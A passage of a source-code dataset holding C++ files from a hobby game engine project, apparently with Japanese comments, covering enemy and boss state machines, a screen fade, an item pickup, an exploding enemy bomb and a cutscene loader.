flag;\n\t}\n\nprivate:\n\n\tstd::map<IEnemy::EnBossType, bool> m_inBattleFlagMap;\n\n\t//saund\n\tCSoundSource*\tm_bgm = nullptr;\n\tfloat\t\t\tm_volume = 0.0f;\n\t//int m_bgmCount = 0;\n\n};\n"
},
{
"alpha_fraction": 0.6465346813201904,
"alphanum_fraction": 0.6475247740745544,
"avg_line_length": 16.413793563842773,
"blob_id": "a3a216c1bca1bf7a278ffbb613bbc4b00924b6a0",
"content_id": "a08ee3ee00a8d016104b90ead9f52263ebfd8dc5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1260,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 58,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanAngryPerform.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\nclass Beam;\nclass MuzzleFlash;\n/// <summary>\n/// \n/// </summary>\nclass Boss_FatmanAngryPerform :public GameObject\n{\npublic:\n\tBoss_FatmanAngryPerform();\n\tvirtual ~Boss_FatmanAngryPerform();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\n\tvoid SetBeamIk(IK** b) {\n\t\t\n\t\t\tm_BeamIk = b;\n\t}\n\tvoid SetShootIk(IK** b) {\n\t\tm_ShootIk = b;\n\t}\n\nprivate:\n\tconst int IK_NUM = 2;\n\n\tbool m_isPerformed = false;\n\tIK** m_BeamIk = nullptr;\n\tstd::vector< Beam*> m_beams;\n\tstd::vector< MuzzleFlash*> m_muzzleFlashes;\n\tIK** m_ShootIk = nullptr;\n\n};\n"
},
{
"alpha_fraction": 0.7134146094322205,
"alphanum_fraction": 0.714634120464325,
"avg_line_length": 21.189189910888672,
"blob_id": "5d06e3a0376146f743e9b6aca8e5d2112ff36646",
"content_id": "d71acab92b14850b6aa2d9342f352365000f8c0a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 820,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 37,
"path": "/Game/Enemy/State/EnemyDeadState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyDeadState.h\"\n#include \"../EnemyManager.h\"\n#include \"../Drop/DropItemA.h\"\n\nEnemyDeadState::EnemyDeadState() {\n}\n\nEnemyDeadState::~EnemyDeadState() {\n}\n\nvoid EnemyDeadState::Enter(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enemy - Enter Dead State\\n\");\n#endif\n\tGameObject* enemy = reinterpret_cast<GameObject*>(e);\n\tEnemyManager::GetEnemyManager().DestroyEnemy(e);\n\n\t//Drop Item\n\tauto dropItemID = e->GetDropID();\n\tif (dropItemID != Player::EnAttackType::enNone) {\n\t\tauto item = NewGO<DropItemA>(0);\n\t\titem->SetPosition(e->GetPosition());\n\t}\n\t//DeleteGO(enemy);\n\t//playAnimation-Dead\n}\n\nIEnemyState* EnemyDeadState::Update(IEnemy* e) {\n\treturn this;\n}\n\nvoid EnemyDeadState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enemy - Exit Dead State\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.6543110609054565,
"alphanum_fraction": 0.6688154935836792,
"avg_line_length": 21.178571701049805,
"blob_id": "62d7cbe75fd53236d152ac8d41423cbb909d8334",
"content_id": "daae86023d396ed0e39cf0afe32499331693d387",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1395,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 56,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanBeamState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n#include \"Player/Player.h\"\n\nclass Beam;\n\nclass Boss_FatmanBeamState final : public IEnemyState\n{\npublic:\n\tBoss_FatmanBeamState();\n\t~Boss_FatmanBeamState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\t/// <summary>\n\t/// エフェクトの初期化。\n\t/// </summary>\n\tvoid EffectInit();\nprivate:\n\t/// <summary>\n\t/// 回転の更新。\n\t/// </summary>\n\t/// <param name=\"e\">IEnemyを継承した敵の情報。</param>\n\tvoid UpdateRotation(IEnemy* e);\n\t/// <summary>\n\t/// ビームの当たり判定。\n\t/// </summary>\n\t/// <param name=\"e\">IEnemyを継承した敵の情報。</param>\n\t/// <returns>ビームに当たっているかどうか。</returns>\n\tvoid Judge(IEnemy* e);\nprivate:\n\tVector3\t\t\tm_position = Vector3::Zero;\n\tfloat\t\t\tm_damage = 0.f;\n\tconst float\t\tm_rotTime = 2.f;\n\tconst float\t\tm_rotStartAngle = -45.0f / 2.0f;\n\tfloat\t\t\tm_rotAngle = 45.0f;\n\n\tQuaternion\t\tm_startRot = Quaternion::Identity;\n\tQuaternion\t\tm_rotation = Quaternion::Identity;\n\tfloat\t\t\tm_countRot = 0.f;\n\n\tbool\t\t\tm_isState = false;\n\n\tstd::vector< Beam*> m_beams;\n\tVector3\t\t\tm_beamPositiion = Vector3::Zero;\n\tQuaternion\t\tm_beamRotation = Quaternion::Identity;\n\n\tfloat\t\t\tm_maxSenkei = 0.0f;\n\n\tIK* m_ik[2];\t\t\t\t\t//IK。左右のIKの情報が格納されている。\n\tenum IK {\n\t\tRight,\n\t\tLeft,\n\t\tIKNum\n\t};\n};"
},
{
"alpha_fraction": 0.6676557660102844,
"alphanum_fraction": 0.695548951625824,
"avg_line_length": 24.907691955566406,
"blob_id": "8482e5da6350e4b56012e093cafbdd453db51b77",
"content_id": "21d6a9a49ef21d888cda2c35d1ad1d36114f4270",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1837,
"license_type": "no_license",
"max_line_length": 132,
"num_lines": 65,
"path": "/Game/Item/EnergyPotion.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnergyPotion.h\"\n#include \"Player/Player.h\"\n#include \"Effect/SmokeEffect.h\"\n\nEnergyPotion::EnergyPotion() {\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_effect = NewGO<SmokeEffect>(0);\n\t//effectの色を輝かせたいときは1.0fより上の数値に設定。\n\t//※densityは2.f未満だと表示されないようです\n\tm_effect->Init(Vector4(1.91f, 1.94f, 0.5f, 0.05f), Vector4(0.92f, 0.93f, 0.2f, 0.f), /*lifeSpanParam*/0.6f, /*density*/2.f, false);\n\tm_effect->SetSca(Vector3::One * 0.15f);\n\t//仮としてプレイヤーの位置\n\t//上にまき散らす。\n\tm_effect->SetPos(m_position);\n\tm_effect->SetSpeed(10.0f);\n\tm_effect->Play();\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(m_scale);\n\tm_model->SetMulColor(m_color);\n\n}\n\nEnergyPotion::~EnergyPotion() {\n\tDeleteGO(m_model);\n\tif (m_effect != nullptr) {\n\t\tm_effect->Stop();\n\t\tDeleteGO(m_effect);\n\t}\n}\n\nvoid EnergyPotion::Apply(Player* player) {\n\tplayer->ChargeBoost(player->GetMaxBoost());\n\tCSoundSource* se = NewGO<CSoundSource>(0, \"Punch\");\n\tse->Init(L\"Assets/sound/Heal.wav\");\n\tse->Play(false);\n\tse->SetVolume(1.0f);\n}\n\nvoid EnergyPotion::Update() {\n\t//deltaTimeためる変数\n\tm_deltaTimeSt += gameTime()->GetDeltaTime();\n\t//サインカーブの変化量をいれる \n\tfloat sinValue = sin(m_PI * 2 * m_deltaTimeSt);\n\t//sinValue *= gameTime()->GetDeltaTime();\n\tconst float rotateSpeed = 120.0f;\n\tm_angle += rotateSpeed * gameTime()->GetDeltaTime();\n\n\n\tVector3 updownPos = m_position;\n\tupdownPos.y += sinValue;\n\tm_model->SetPosition(updownPos);\n\tm_effect->SetPos(updownPos);\n\n\tQuaternion m_qrot;\n\tm_qrot.SetRotationDeg(Vector3::AxisY, m_angle);\n\tm_model->SetRotation(m_qrot);\n}\n\n"
},
{
"alpha_fraction": 0.7187928557395935,
"alphanum_fraction": 0.7297667860984802,
"avg_line_length": 21.060606002807617,
"blob_id": "e333773505414ab97f6ddfd8d36189a6d71da11f",
"content_id": "0038f1d296960152c9d6228da908c082ae8ecb08",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 729,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 33,
"path": "/Game/Player/Attack/DefaultPreset/PlayerAttackPunch.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IPlayerAttack.h\"\n\nclass PlayerAttackPunch : public IPlayerAttack\n{\npublic:\n\tPlayerAttackPunch();\n\tvirtual ~PlayerAttackPunch() override;\n\n\tvirtual void Init(Player*, int combo) override;;\n\tvirtual void Execute(Player*) override;\n\n\tvirtual const bool IsDone() override {\n\t\treturn m_isDone;\n\t}\n\n\tvirtual const float GetInterval() override {\n\t\treturn m_interval;\n\t}\n\tvirtual const bool IsContinueAttack() override {\n\t\treturn m_isContinuAttack;\n\t}\nprivate:\n\tbool m_isDone = false;\n\tbool m_isContinuAttack = false;\n\tconst float m_interval = 0.001f;\n\tfloat m_timer = 0.f;\n\n\tint m_combo = 0;\n\tfloat m_range = 50.f;\n\tbool m_hasAlreadyAttacked = false;\n\tconst float m_damageAmount = m_DEFAULT_ATTACK_DAMAGE;\n};\n\n"
},
{
"alpha_fraction": 0.5970149040222168,
"alphanum_fraction": 0.6073479056358337,
"avg_line_length": 16.775510787963867,
"blob_id": "b904fad531efcef2dda849633a2b603d8e040b93",
"content_id": "c8877622e3c12b15d9f5f18f3ce320c4c8cc76c0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 871,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 49,
"path": "/Game/Fade.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Fade.h\"\n\n\nFade::Fade()\n{\n\tm_panel = NewGO<SpriteRender>(10);\n\tSpriteInitData sd;\n\tsd.m_ddsFilePath[0] = \"Assets/Image/white.dds\";\n\tsd.m_height = m_panelHeight;\n\tsd.m_width = m_panelWidth;\n\tm_panel->Init(sd);\n\tm_panel->SetSca(m_panelScale);\n\tm_panel->SetMulColor(Vector4::Black);\n}\n\nFade::~Fade()\n{\n\t//DeleteGO(m_panel);\n}\n\nvoid Fade::Update()\n{\n\tfloat delta = gameTime()->GetDeltaTime();\n\n\tif (m_state == State::enIdle) {\n\t\treturn;\n\t}\n\n\tif (m_state == State::enFadeIn) {\n\t\tm_alpha = max(0.f, m_alpha - m_fadeSpeed * delta);\n\t\tif (m_alpha == 0.f) {\n\t\t\tm_state = State::enIdle;\n\t\t\tm_isFaded = true;\n\t\t}\n\t}\n\n\tif (m_state == State::enFadeOut) {\n\t\tm_alpha = min(1.f, m_alpha + m_fadeSpeed * delta);\n\t\tif (m_alpha == 1.f) {\n\t\t\tm_state = State::enIdle;\n\t\t\tm_isFaded = true;\n\t\t}\n\t}\n\tVector4 c = m_color;\n\tc.w = m_alpha;\n\tm_panel->SetMulColor(c);\n\n}\n"
},
{
"alpha_fraction": 0.6654606461524963,
"alphanum_fraction": 0.6740884780883789,
"avg_line_length": 19.751445770263672,
"blob_id": "fac8da454d8100b01f88a80c423ed4f5906763c9",
"content_id": "8c7d5440cb935b594d92f7bd4ed68e03617a3c65",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3593,
"license_type": "no_license",
"max_line_length": 146,
"num_lines": 173,
"path": "/Game/Enemy/Equipment/Enemy_CorocoroBomb.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Enemy_CorocoroBomb.h\"\n#include \"Effect/ExplosionEffect.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"GameManager.h\"\n#include \"Effect/ExplosionEffect.h\"\n\nEnemy_CorocoroBomb::Enemy_CorocoroBomb()\n{\n\n}\n\nEnemy_CorocoroBomb::~Enemy_CorocoroBomb()\n{\n\n}\n\nvoid Enemy_CorocoroBomb::Release()\n{\n\tDeleteGO(m_model);\n\tDeleteGO(m_effect);\n\tif (!m_isHit)\n\t{\n\t\tPhysics().RemoveRigidBody(m_rigidBody);\n\t\tm_rigidBody.Release();\n\t\tm_coll.Release();\n\t}\n\tif(!m_isDestroy)\n\t{\n\t\tm_ghost.Release();\n\t\tm_fireColl.Release();\n\t}\n}\n\nvoid Enemy_CorocoroBomb::OnDestroy()\n{\n\tm_ghost.Release();\n\tm_fireColl.Release();\n\tm_isDestroy = true;\n}\n\n\nvoid Enemy_CorocoroBomb::Awake()\n{\n\tm_model = NewGO<ModelRender>(0);\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\tmid.m_tksFilePath = \"Assets/modelData/boss/mb/mb.tks\";\n\tm_model->Init(mid);\n\n\tm_effect = NewGO<ExplosionEffect>(0);\n\tm_effect->Init();\n\t\n\tm_model->SetActive(true);\n}\n\nbool Enemy_CorocoroBomb::Start()\n{\n\treturn true;\n}\n\nvoid Enemy_CorocoroBomb::Init(const Vector3& pos, const Vector3& fireVelo, float size, float fireRange, float damage, float power,float timeLimit)\n{\n\tm_timeLimit = timeLimit;\n\tm_damage = damage;\n\tm_fireRange = fireRange;\n\tm_power = power;\n\tm_fireColl.Create(fireRange);\n\tm_ghost.Create(&m_fireColl, {0,-3000,0}, Quaternion::Identity);\n\n\tm_coll.Create(size);\n\tRigidBodyInfo info;\n\tinfo.collider = &m_coll;\n\tinfo.mass = 1.f;\n\tinfo.pos = pos;\n\tm_rigidBody.Create(info);\n\tauto body = m_rigidBody.GetBody();\n\tbody->setUserIndex(enCollisionAttr_NonHit);\n\tbody->setLinearVelocity(btVector3(fireVelo.x, fireVelo.y, fireVelo.z));\n\tbody->setGravity({ 0,-200,0 });\n\tbody->applyGravity();\n\tPhysics().AddRigidBody(m_rigidBody);\n\n\tm_model->SetScale(Vector3::One * size);\n\tm_model->SetPosition(pos);\n\n\tm_isDestroy = false;\n\tm_isHit = false;\n\tm_timer = 0.f;\n}\n\n\nvoid Enemy_CorocoroBomb::PreUpdate()\n{\n\n}\n\nvoid Enemy_CorocoroBomb::Update()\n{\n\tif (m_isHit)\n\t{\n\t\tauto pl = GameManager::GetInstance().GetPlayer();\n\t\tauto v = pl->GetPosition() - m_hitpos;\n\t\tfloat len = v.Length();\n\n\t\tv.Normalize();\n\t\tv.y = 1.f;\n\t\tfloat t = 1.f - min(len / m_fireRange, 1.f);\n\t\tv *= m_fireRange * t * m_power;\n\n\t\tfor (int i = 0; i < m_ghost.GetGhost()->getNumOverlappingObjects(); i++)\n\t\t{\n\t\t\tauto o = m_ghost.GetGhost()->getOverlappingObject(i);\n\t\t\tint ind = o->getUserIndex();\n\t\t\tif (ind & GameCollisionAttribute::Enemy)\n\t\t\t{\n\t\t\t\tauto e = (IEnemy*)o->getUserPointer();\n\t\t\t\te->ApplyDamage(m_damage * t, true, v);\n\t\t\t}\n\t\t\telse if (ind & GameCollisionAttribute::Player)\n\t\t\t{\n\n\t\t\t\tpl->ApplyDamage(m_damage * t, true, v);\n\t\t\t}\n\t\t}\n\t\tauto pthis = this;\n\t\tDeleteGO(pthis);\n\t\treturn;\n\t}\n\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += dtime;\n\n\tauto body = m_rigidBody.GetBody();\n\t//body->setGravity({ 0,-200,0 });\n\tbody->getTotalForce();\n\tbtTransform tra, end;\n\tbody->getMotionState()->getWorldTransform(tra);\n\tVector3 pos = tra.getOrigin();\n\tm_model->SetPosition(pos);\n\tm_model->SetRotation(tra.getRotation());\n\tbody->applyGravity();\n\n\t\n\tif (m_timer >= m_timeLimit)\n\t{\n\t\tm_effect->Play();\n\t\tm_effect->SetPos(pos);\n\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/explosion.wav\");\n\t\tse->Play(false);\n\t\tse->SetVolume(1.);\n\n\t\tm_ghost.SetPosition(pos);\n\t\tm_hitpos = pos;\n\t\tm_isHit = true;\n\n\t\tPhysics().RemoveRigidBody(m_rigidBody);\n\t\tm_rigidBody.Release();\n\t\tm_coll.Release();\n\t\tm_model->SetActive(false);\n\t}\n}\n\nvoid Enemy_CorocoroBomb::PostUpdate()\n{\n\n}\n\n\n\n"
},
{
"alpha_fraction": 0.6389221549034119,
"alphanum_fraction": 0.6470059752464294,
"avg_line_length": 19.114458084106445,
"blob_id": "a7f00196ae842974ac40c5bab3f3c315695d99f5",
"content_id": "8e24abe1d3de4600905185f1435f0c4c0539c3d0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3340,
"license_type": "no_license",
"max_line_length": 137,
"num_lines": 166,
"path": "/Game/EventMovie/EventMovie.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EventMovie.h\"\n\n\nEventMovie::EventMovie()\n{\n\n}\n\nEventMovie::~EventMovie()\n{\n\n}\n\n\n\nvoid EventMovie::Release()\n{\n\tfree(m_objMats);\n}\n\nvoid EventMovie::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid EventMovie::Init(const char* path, Camera* camera, const ActorInitFunc& actorInitFunc, const EventListennerFunc& eventListennerFunc)\n{\n\tauto f = fopen(path, \"rb\");\n\n\tint markerNum;\n\tfread(&markerNum, sizeof(int), 1, f);\n\tm_eventMovieMarker.resize(markerNum);\n\tfor (int i = 0; i < markerNum; i++)\n\t{\n\t\tauto ev = &m_eventMovieMarker[i];\n\t\tfread(&ev->time, sizeof(float), 1, f);\n\n\t\tint nameLen;\n\t\tfread(&nameLen, sizeof(int), 1, f);\n\t\tev->markerName.resize(nameLen+1);\n\t\tfread(&ev->markerName.front(),sizeof(char), nameLen + 1, f);\n\t}\n\n\tint objNum;\n\tfread(&objNum, sizeof(int), 1, f);\n\tstd::vector<SEventMovieObject> objs;\n\tobjs.resize(objNum);\n\tfor (int i = 0; i < objNum; i++)\n\t{\n\t\tauto& obj = objs[i];\n\t\tfread(&obj.id, sizeof(int), 1, f);\n\t\t\n\t\tint nameLen;\n\t\tfread(&nameLen, sizeof(int), 1, f);\n\t\tobj.objName.resize(nameLen + 1);\n\t\tfread(&obj.objName.front(), sizeof(char), nameLen + 1, f);\n\t}\n\n\tint frameNum;\n\tfread(&frameNum, sizeof(int), 1, f);\n\tm_objMats = (Matrix*)calloc(frameNum * objNum, sizeof(Matrix));\n\tm_frames.resize(frameNum);\n\tfor (int i=0;i<frameNum;i++)\n\t{\n\t\tauto& frame = m_frames[i];\n\t\tfread(&frame.time, sizeof(float), 1, f);\n\t\t\n\t\tfread(&frame.camMat, sizeof(Matrix), 1, f);\n\n\t\tauto frameObjMats = &m_objMats[i * objNum];\n\t\tfread(frameObjMats, sizeof(Matrix), objNum, f);\n\t\tframe.objMats = frameObjMats;\n\t}\n\n\tfclose(f);\n\n\tm_actors.reserve(objNum);\n\tm_camera = camera;\n\tfor (const auto& obj : objs)\n\t{\n\t\tm_actors.push_back(actorInitFunc(obj.objName));\n\t}\n\n\tm_eventListennerFunc = eventListennerFunc;\n\n\t//init map\n\tfor (int i = 0; i < m_eventMovieMarker.size(); i++) {\n\t\tm_eventMap.insert(std::make_pair(i, false));\n\t}\n}\n\nvoid EventMovie::Awake()\n{\n\n}\n\nbool EventMovie::Start()\n{\n\treturn true;\n}\n\n\nvoid EventMovie::PreUpdate()\n{\n\n}\n\nvoid EventMovie::Update()\n{\n\n\tfor (int i = 0; i < m_eventMovieMarker.size(); i++) {\n\t\tconst float EventTime = m_eventMovieMarker[i].time;\n\t\tif (m_timer >= EventTime and !m_eventMap[i]) {\n\t\t\tm_eventListennerFunc(m_eventMovieMarker[i].markerName);\n\t\t\tm_eventMap[i] = true;\n\t\t\t//printf(\"markerName : \");\n\t\t\t//printf(m_eventMovieMarker[i].markerName.c_str());\n\t\t\t//printf(\"\\n\");\n\t\t}\n\t}\n\n\tif (m_frames.size() > m_frameIndex) {\n\t\tconst float Time = m_frames[m_frameIndex].time;\n\t\tif (m_timer >= Time) {\n\t\t\t//printf(\"frame : %f\\n\", Time);\n\t\t\t//camera\n\t\t\tm_camera->SetPosition(m_frames[m_frameIndex].camMat.GetTransrate() * 1.f);\n\t\t\tVector3 target = Vector3(0, 0,-1);\n\t\t\tm_frames[m_frameIndex].camMat.GetRotate().Apply(target);\n\t\t\tm_camera->SetTarget(target + m_frames[m_frameIndex].camMat.GetTransrate());\n\n\t\t\tconst int numObj = m_actors.size();\n\t\t\tfor (int i = 0; i < numObj; i++) {\n\t\t\t\tm_actors[i]->SetPosition(m_frames[m_frameIndex].objMats[i].GetTransrate());\n\t\t\t\tm_actors[i]->SetRotation(m_frames[m_frameIndex].objMats[i].GetRotate());\n\t\t\t\tm_actors[i]->SetScale(m_frames[m_frameIndex].objMats[i].GetScale());\n\t\t\t}\n\t\t\tm_frameIndex++;\n\t\t}\n\t}\n\n\t/*if(g_pad[0]->IsPress(enButtonA)){\n\t\tm_timer += gameTime()->GetDeltaTime() * 5;\n\t}*/\n\n\tm_timer += gameTime()->GetDeltaTime();\n\n}\n\nvoid EventMovie::PostUpdate()\n{\n\n}\n\n\nvoid EventMovie::Render()\n{\n\n}\n\nvoid EventMovie::PostRender()\n{\n\n}\n\n"
},
{
"alpha_fraction": 0.5859448909759521,
"alphanum_fraction": 0.6144349575042725,
"avg_line_length": 12.675324440002441,
"blob_id": "dcc04337c733272f5d46ca2a87e82574bdd43a3c",
"content_id": "80362b7758d18655cf3e45d0589dc7d11488cdde",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1053,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 77,
"path": "/Game/Fade.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass Fade\n{\npublic:\n\tstatic Fade& GetInstance() {\n\t\tstatic Fade fade;\n\t\treturn fade;\n\t}\n\n\tFade();\n\t~Fade();\n\n\tenum class State {\n\t\tenFadeIn,\n\t\tenFadeOut,\n\t\tenIdle,\n\t};\n\n\tvoid Update();\n\n\tvoid FadeIn() {\n\t\tm_state = State::enFadeIn;\n\t\tm_alpha = 1.f;\n\t\tm_isFaded = false;\n\t}\n\n\tvoid FadeOut() {\n\t\tm_state = State::enFadeOut;\n\t\tm_alpha = 0.f;\n\t\tm_isFaded = false;\n\t}\n\n\tvoid BlackOut() {\n\t\tm_panel->SetMulColor({ 0,0,0,1 });\n\t}\n\n\tvoid MakeBright() {\n\t\tm_panel->SetMulColor({ 0,0,0,0 });\n\t}\n\n\tconst bool IsFaded() {\n\t\treturn m_isFaded;\n\t}\n\n\tvoid SetFadeColor(const Vector3& c)\n\t{\n\t\tm_color = c;\n\t}\n\tvoid SetFadeSpeed(float s)\n\t{\n\t\tm_fadeSpeed = s;\n\t}\n\n\tconst Fade::State& GetState() {\n\t\treturn m_state;\n\t}\n\nprivate:\n\n\tState m_state = State::enIdle;\n\n\tSpriteRender* m_panel = nullptr;\n\tconst Vector3 m_panelScale = { 100,100,100 };\n\tconst float m_panelHeight = 15;\n\tconst float m_panelWidth = 300;\n\n\tfloat m_alpha = 1.f;\n\tfloat m_fadeSpeed = 1.f;\n\n\tbool m_isFaded = false;\n\n\tVector3 m_color = Vector3::Zero;\n};\n"
},
{
"alpha_fraction": 0.7350993156433105,
"alphanum_fraction": 0.7400662302970886,
"avg_line_length": 19.16666603088379,
"blob_id": "875c1feec25fb7a739569f5d0d1794266e29912b",
"content_id": "51969a48761d9a34bc714a6e4477ae6e0d343b97",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 604,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 30,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeBattleState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IEnemyState.h\"\n\nclass EnemyMeleeBattleState : public IEnemyState\n{\npublic:\n\tEnemyMeleeBattleState();\n\tvirtual ~EnemyMeleeBattleState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\tconst float m_stamina_recover_amount = 5.f;\n\tbool m_isPerformed = false;\n\tfloat m_tpTimer = 0.f;\n\tfloat m_thrustTimer = 0.f;\n\n\tenum class EnBattlePhase\n\t{\n\t\tCalm,\n\t\tNormal,\n\t\tMad,\n\t\tNumPhase\n\t};\n\n\tbool m_shouldDoMadPerformance = false;\n\n\tEnBattlePhase m_battlePhase = EnBattlePhase::Calm;\n\n};"
},
{
"alpha_fraction": 0.6243833899497986,
"alphanum_fraction": 0.6441155672073364,
"avg_line_length": 16.096385955810547,
"blob_id": "d9b06aac538f91db07ffc719c58272e8815ff124",
"content_id": "770b7fcc12da84dfa115a1c9ee5213e41dea254a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1721,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 83,
"path": "/Game/Effect/Ballistic.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Effect/ParticleEffect.h\"\n\n/// <summary>\n/// \n/// </summary>\nclass Ballistic :public GameObject\n{\npublic:\n\tBallistic();\n\tvirtual ~Ballistic();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\tvoid Init();\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\tvoid Play();\n\n\tvoid Stop();\n\n\n\tvoid SetPos(const Vector3& pos)\n\t{\n\t\tm_effect->SetPos(pos);\n\t}\n\tvoid SetRot(const Quaternion& rot)\n\t{\n\t\tm_effect->SetRot(rot);\n\t}\n\tvoid SetSca(const Vector3& sca)\n\t{\n\t\tm_effect->SetSca(sca);\n\t}\n\n\nprivate:\n\tPlaneParticleEffectRender* m_effect = nullptr;\n\n\tfloat m_particleLifeTime = 2.f;\n\tfloat m_particleScale = 0.05f;\n\tVector4 m_particleColor = { 0.8f,0.8f,0.8f,0.7f };\n\tVector4 m_particleEndColor = { 0.8f,0.8f,0.8f,0.f };\n\n\tint m_circleNum = 4;\n\tint m_circleStrokeNum = 10;\n\tfloat m_circleSize = 0.1f;\n\n\tbool m_isPlay = false;\n};\n"
},
{
"alpha_fraction": 0.7291242480278015,
"alphanum_fraction": 0.7372708916664124,
"avg_line_length": 25.567567825317383,
"blob_id": "744db14e77bd173931e6327125518b068c15d470",
"content_id": "c6a4489601a6bbde24b67548b47957d1bc79b2d9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 994,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 37,
"path": "/UsualEngineR/Physics/RigidBody.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
